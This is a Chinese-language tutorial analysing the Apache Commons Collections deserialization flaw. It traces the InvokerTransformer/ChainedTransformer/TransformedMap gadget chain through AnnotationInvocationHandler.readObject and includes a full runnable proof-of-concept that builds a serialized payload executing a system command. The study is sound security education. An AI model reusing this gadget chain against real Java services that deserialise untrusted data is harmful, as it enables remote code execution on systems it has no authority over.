Apache Commons Collections反序列化研究

目录

一、影响版本

1、3.0-4.0(除3.2.2和4.1)

官方BUG报告地址

collections下载地址

二、原理分析

几个提示点

1)需要一些java基础,反射、类对象、Classloader

2)利用搜索引擎自查一些java语法

3)能用IDEA进行断点调试

1.利用InvokerTransformer执行系统命令

InvokerTransformer是Commons Collections(以下简称CC)的一个类,该类的一个transformer方法是命令执行的关键函数。有点类似于php中的call_user_func。该函数内部如图。

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
            
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

函数体通过反射调用的方式执行传入对象input的内部方法"iMethodName",这个"iMethodName"是创建这个方法对应的InvokerTransformer对象其传入构造函数的参数。

而"iMethodName"所代表方法的参数类型和参数值也是创建对应的InvokerTransformer对象时传入的参数。整个方法执行结果相当于下面的调用

iMethodName(iParamTypes1 iArgs1,iParamTypes2 iArgs2...)

那么我们如何利用该函数执行系统命令呢?这里先举一个demo仅仅用transform函数去执行命令。

package com.company;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test1 {
    public static void main(String[] args) {
        String cmd = "cmd.exe /c start";
        InvokerTransformer transformer = new InvokerTransformer(
                "exec", new Class[]{String.class}, new Object[]{cmd}
        );
        transformer.transform(Runtime.getRuntime()); //相当于传入Runtime.getRuntime()返回的对象去执行exec方法,而exec方法则执行系统命令cmd
    }
}
2.利用ChainedTransformer类实现链式调用

好了,通过上述示例,我们应该明白使用该函数执行系统命令的方式了。那么接下来的问题是我们没有办法直接给transform传入Runtime.getRuntime(),也没有办法直接传入

exec方法。只能通过InvokerTransformer类给构造函数赋值,同时需要触发该类的transform方法,并且还要能让它们串起来执行(其中需要注意的getRuntime.exec的方式可以

看作是执行了函数但没有给予参数值)。是不是十分困难呢。哈哈,伟大的前辈们还是在CC包中找到了对应的方法去满足上述条件。我猜测它们或许是通过数据反溯源,或者源码

通读查找的方式找到的。它是什么呢?一个ChainedTransformer类。最主要的函数体如下:

首先是构造函数,传入一个transformer数组

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

然后是ChainedTransformer类的transform方法,给一个初始的object,然后输出作为下一个输入,从而实现链式调用。

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

但是我们的起点是一个Runtime类,所以又使用了ConstantTransformer类。

public Object transform(Object input) {
    return iConstant;
}

所以我们最终可以构建这样一个Transformer数组,里面按顺序存放我们需要依次调用的Transformer对象,就可以完成最终的exec调用。值得一提的是,ChainedTransformer、

InvokerTransformer等都是实现了接口Transformer而来的,而且基本都有transform方法的实现。所以数组中可以存在不同类型的Transformer对象。最后的链式数组如下:

String cmd = "cmd.exe /c start";
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                                                new Class[]{String.class, Class[].class},
                                                new Object[]{ "getRuntime", new Class[0]}
        ),
        new InvokerTransformer("invoke",
                                                new Class[]{Object.class, Object[].class},
                                                new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer("exec",
                                                new Class[]{String.class},
                                                new Object[]{cmd})
};

// 创建ChainedTransformer调用链
Transformer transformedChain = new ChainedTransformer(transformers);
3.TransformedMap类触发调用链

1、好了,到这一步我们已经构建了一个Transformer恶意链,它是一个ChainedTransformer类,我们的目标是触发该类的transform方法。那么该方法会直接触发最底层命令执行。我们需要一个TransformedMap.decorate。注意这个Map是CC包中的Map,不是java.util中的Map。首先说说这个decorate的作用:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

它的逻辑是传入一个map对象,,keyTransformer数组,valueTransformer数组,然后构造一个TransformedMap。已知公开CC链的调用起点一般就在这里,即我们要触发TransformedMap的putAll/put/checkSetValue方法(其中任意一种)。因为这三种方法中存在对传入keyTransformer或valueTransformer其transform方法的调用,调用点追溯至该TransformedMap的transformKey和transformValue方法,它们的内部核心代码分别如下。

protected Object transformValue(Object object) {
    if (valueTransformer == null) {
        return object;
    }
    return valueTransformer.transform(object);
}
protected Object transformKey(Object object) {
    if (keyTransformer == null) {
        return object;
    }
    return keyTransformer.transform(object);
}

2、那么我们如何触发TransformedMap的这三种方法之一呢?

我们知道,当某个类重写了反序列化的关键函数readObject时,那么外部任意接口反序列化就会调用该类的readObject方法。攻击者可以查找那些已知框架或组件中存在反序列化调用的接口然后传入我们上述的恶意链的payload(对应接口的二进制流)从而实现反序列化的控制。那么我们要通过外部触发这条攻击链,需要实现的目标有三

1)触发put/putAll/checkSetValue(这个只能传入参数至valueTransformer)任意方法其一

2)找到某个可序列化的类,重写了readObject方法

3)readObject()中对Map类型的变量进行了键值修改操作,并且这个Map变量是可控的

实现流程见下一节

4.AnnotationInvocationHandler反序列化触发TransformedMap类调用链发生

以下测试在jdk1.6中

针对上一节提出的三个目标,有研究员找到了这个满足需求的类,它是AnnotationInvocationHandler,全名是sun.reflect.annotation.AnnotationInvocationHandler。我们观察他重写的readObject方法。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        return;
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

该类的成员变量memberValue为Map<String, Object> 类型,并且在重写的readObject()方法中有memberValue.setValue()的操作,见倒数第5行。那么当执行到该函数时就会存在Map.setValue的调用,该setValue方法中存在checkSetValue调用,从而触发调用链,执行结果。

5.调用链和POC

1、调用栈

我们在ChainedTransformer.java中的transform处下个断点,打开IDEA执行,可以得到从反序列化开始到达此处的调用栈

transform:122, ChainedTransformer (org.apache.commons.collections.functors)
checkSetValue:204, TransformedMap (org.apache.commons.collections.map)
setValue:192, AbstractInputCheckedMapDecorator$MapEntry (org.apache.commons.collections.map)
readObject:335, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
main:93, CommonsCollectionsTest (com.company)

2、POC

该POC来源于https://javasec.org/javase/JavaDeserialization/Collections.html

package com.company;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

//import sun.reflect.annotation.AnnotationInvocationHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
 * Creator: yz
 * Date: 2019/12/16
 */
public class CommonsCollectionsTest {

    public static void main(String[] args) {
        String cmd = "cmd.exe /c start";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                                                        new Class[]{String.class, Class[].class},
                                                        new Object[]{ "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke",
                                                        new Class[]{Object.class, Object[].class},
                                                        new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer("exec",
                                                        new Class[]{String.class},
                                                        new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链

        Transformer transformedChain = new ChainedTransformer(transformers);


        // 创建Map对象

        Map map = new HashMap();
        map.put("value", "value");


        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象

        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        try {
            // 获取AnnotationInvocationHandler类对象

            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            // 获取AnnotationInvocationHandler类的构造方法

            Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            // 设置构造方法的访问权限

            constructor.setAccessible(true);
            // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:

            // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);

            Object instance = constructor.newInstance(Target.class, transformedMap);
            // 创建用于存储payload的二进制输出流对象

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            // 创建Java对象序列化输出流对象

            ObjectOutputStream out = new ObjectOutputStream(baos);
            // 序列化AnnotationInvocationHandler类

            out.writeObject(instance);
            out.flush();
            out.close();

            // 获取序列化的二进制数组
            byte[] bytes = baos.toByteArray();

            // 输出序列化的二进制数组
            System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));

            // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);

            // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
            ObjectInputStream in = new ObjectInputStream(bais);
            // 模拟远程的反序列化过程
            in.readObject();
            in.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

三、漏洞利用

1.反序列化插入点思考与拓展

这里先暂时借用这篇文的第四部分,具体的分析和复现等以后有时间了做整理

https://security.tencent.com/index.php/blog/msg/97